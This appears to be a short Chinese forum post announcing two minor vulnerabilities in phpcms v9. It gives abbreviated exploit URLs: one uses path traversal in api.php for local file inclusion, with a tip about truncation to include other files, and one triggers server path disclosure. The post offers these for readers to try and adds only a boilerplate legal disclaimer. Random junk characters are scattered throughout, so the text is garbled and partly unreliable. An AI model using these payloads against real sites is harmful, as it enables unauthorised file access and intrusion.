phpcms v9两个鸡肋漏洞

admin

我就不贴代码了，有兴趣的自己跟一下吧，说不定可以发现更多。
. d9 p- d0 e! H; m6 C0 w
1 V) M. ^5 g$ g" oExp: http://www.php0day.com/api.php?o ... efile=../../../fuck
% O6 Q0 U( f# s9 t
  q1 R5 O1 D/ \1 r4 L$ ~# j# [#包含根目录的fuck.cache.php 又一鸡肋。包含其他文件自己截断吧，看你运气了。
2 ?; q6 l1 {1 o; ~: T
Exp: http://www.php0day.com/phpcms/mo ... l.php?author=b4dboy

8 Q: b7 b- T! \6 }. l#暴路径

2 r& A  W/ S' H* S4 j4 K. Y! g注：请遵守国家相关法律，请勿非法入侵，产生任何后果自己负责。
! T2 K( q% J8 ]) l% D
$ ]) i" v; z6 G; p) D* z​
# D# E' G6 X. r2 a8 _
2 S8 [8 {. N) T: i( U! B+1